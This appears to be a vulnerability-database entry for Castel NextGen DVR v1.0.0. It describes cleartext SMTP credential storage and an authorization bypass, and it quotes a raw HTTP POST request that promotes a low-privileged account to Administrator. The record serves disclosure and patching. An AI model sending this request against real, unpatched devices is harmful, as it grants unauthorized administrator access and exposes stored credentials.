cnvd-2021-24900

fkie_cve-2020-11681

GHSA-p6qr-x996-pvwx

VAR-202006-0044

Castel NextGen DVR v1.0.0 stores and displays credentials for the associated SMTP server in cleartext. Low privileged users can exploit this to create an administrator user and obtain the SMTP credentials. Castel NextGen DVR Exists in an inadequate protection of credentials.Information may be obtained or tampered with. All issues are associated with *Castel NextGen DVR v1.0.0 *and have been resolved in v1.0.1*.*

------------------------------- *CVE-2020-11679 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*

*Original Disclosure* https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description* A low privileged user can call functionality reserved for an Administrator which promotes a low privileged account to the Administrator role:

POST /Administration/Users/Edit/:ID HTTP/1.1 > Host: $RHOST > User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 > Firefox/52.0 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > Accept-Language: en-US,en;q=0.5 > Accept-Encoding: gzip, deflate > Cookie: $REVIEWER_COOKIES > DNT: 1 > Connection: close > Upgrade-Insecure-Requests: 1 > Content-Type: application/x-www-form-urlencoded > Content-Length: 349

> UserId=:ID&Email=bypass%40test.com > &FirstName=bypass&LastName=bypass&LDAPUser=false > > &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false > > &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=fal…

Most recent entries from all

cnvd-2021-24900

fkie_cve-2020-11681

GHSA-p6qr-x996-pvwx

gsd-2020-11681

VAR-202006-0044